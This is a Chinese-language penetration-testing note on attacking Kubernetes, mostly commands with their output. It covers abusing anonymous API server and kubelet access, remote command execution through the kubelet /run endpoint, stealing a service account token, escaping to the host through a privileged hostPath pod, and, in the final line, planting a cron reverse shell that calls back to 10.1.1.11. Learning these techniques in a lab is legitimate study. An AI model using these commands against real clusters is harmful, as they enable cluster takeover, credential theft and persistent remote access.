Kubernetes云原生安全渗透学习

kube-apiserver: 6443, 8080
kubectl proxy: 8080, 8081
kubelet: 10250, 10255, 4149
docker api: 2375
etcd: 2379, 2380
kube-controller-manager: 10252
kube-proxy: 10256, 31442
kube-scheduler: 10251
weave: 6781, 6782, 6783
kubeflow-dashboard: 8080

kubectl create clusterrolebinding system:anonymous --clusterrole=cluster-admin --user=system:anonymous

# 查看default名称空间的Pod GET
https://10.1.1.100:6443/api/v1/namespaces/default/pods?limit=10

# 创建特权容器,POST
curl -k -H 'Content-Type: application/json' -X POST https://10.1.1.100:6443/api/v1/namespaces/default/pods -d '{
     "apiVersion": "v1",
     "kind": "Pod",
     "metadata": {
          "annotations": {
               "kubectl.kubernetes.io/last-applied-configuration": "{\"apiVersion\":\"v1\",\"kind\":\"Pod\",\"metadata\":{\"annotations\": {},\"name\":\"test\",\"namespace\":\"default\"},\"spec\":{\"containers\": [{\"image\":\"nginx\",\"name\":\"test\",\"volumeMounts\":[{\"mountPath\":\"/host\",\"name\":\"host\"}]}],\"volumes\":[{\"hostPath\": {\"path\":\"/\",\"type\":\"Directory\"},\"name\":\"host\"}]}}\n"
          },
          "name": "test",
          "namespace": "default"
     },
     "spec": {
          "containers": [
               {
                    "image": "nginx",
                    "name": "test",
                    "volumeMounts": [
                         {
                              "mountPath": "/host",
                              "name": "host"
                         }
                    ]
               }
          ],
          "volumes": [
               {
                    "hostPath": {
                         "path": "/",
                         "type": "Directory"
                    },
                    "name": "host"
               }
          ]
     }
}'


## 执行命令,GET 第三条执行命令的时候我出现了"Upgrade request required"(400)
## 此处行不通
curl -k -H "Upgrade: websocket" 'https://10.1.1.100:6443/api/v1/namespaces/default/pods/test/exec?stdout=1&stderr=1&tty=true&command=whoami'

{
  "kind": "Status",
  "apiVersion": "v1",
  "metadata": {},
  "status": "Failure",
  "message": "Upgrade request required",
  "reason": "BadRequest",
  "code": 400
  }

kubectl --insecure-skip-tls-verify -s https://10.1.1.100:6443 get pods
## 这里虽然会让你输入账号和密码，但是随便输入之后，还是会显示pods，那么我通过POST创建pods，然后我在用这里连上去，然后chroot去获取宿主机权限。

# 利用cdk工具通过"system:anonymous"匿名账号尝试登录
./cdk_linux_amd64 kcurl anonymous get "https://10.1.1.100:6443/api/v1/nodes"

./cdk_linux_amd64 kcurl anonymous post 'https://10.1.1.100:6443/api/v1/nodes'

vim /opt/kubernetes/cfg/kubelet-config.yml 
kind: KubeletConfiguration
apiVersion: kubelet.config.k8s.io/v1beta1
address: 0.0.0.0
port: 10250
readOnlyPort: 10255
cgroupDriver: cgroupfs
clusterDNS:
- 192.168.0.2
clusterDomain: cluster.local 
failSwapOn: false
authentication:
  anonymous:
    enabled: true  # 将此次false改为ture；
    
# 重启服务
systemctl restart kubelet

curl -XPOST -k https://IP:10250/run/<NameSpace>/<PodName>/<appName> -d "cmd=id"

curl -XPOST -k https://10.1.1.100:10250/run/kube-system/traefik-v2-7ff6d874bf-mxzpl/traefik-v2 -d "cmd=id"   
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)

## 获取whoami
curl -XPOST -k https://10.1.1.100:10250/run/kube-system/traefik-v2-7ff6d874bf-mxzpl/traefik-v2 -d "cmd=whoami"
root

## 获取token
curl -XPOST -k https://10.1.1.100:10250/run/default/testwithsa-664464c6cb-t22k4/amdinbox -d "cmd=cat /run/secrets/kubernetes.io/serviceaccount/token"
eyJhbGciOiJSUzI1NiIsImtpZCI6Imp0RmpXQmlsczQwNFNZY1VDeXU3eXVOdWdlTENPT3ZmWnIyY1p4VWVBYUUifQ.eyJhdWQiOlsiaHR0c
......

[root@hacker ~]# kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJhbGci......" get pod
NAME                          READY   STATUS    RESTARTS   AGE
testwithsa-664464c6cb-g68nq   1/1     Running   0          96s
testwithsa-664464c6cb-l49gq   1/1     Running   0          96s
testwithsa-664464c6cb-t22k4   1/1     Running   0          96s

[root@hacker ~]$ cat > taoyi.yaml <<EOF
apiVersion: v1
kind: Pod
metadata:
  name: test
  labels:
    app: test
spec:
  containers:
  - name: test
    image: busybox
    command: ["chroot", "/mnt"]
    tty: true
    stdin: true
    stdinOnce: true
    securityContext:
      privileged: true
    volumeMounts:
    - name: root
      mountPath: /mnt
  volumes:
  - name: root
    hostPath:
      path: /
EOF
## 创建特权pod
[root@hacker ~]$ kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJh......" apply -f taoyi.yaml

[root@hacker ~]$ kubectl --insecure-skip-tls-verify=true --server="https://10.1.1.100:6443" --token="eyJh......" get pod
NAME                          READY   STATUS    RESTARTS   AGE
test                          1/1     Running   0          2m1s

## 进入pod执行
echo '* * * * * bash -i >& /dev/tcp/10.1.1.11/12345 0>&1' >> /mnt/var/spool/cron/root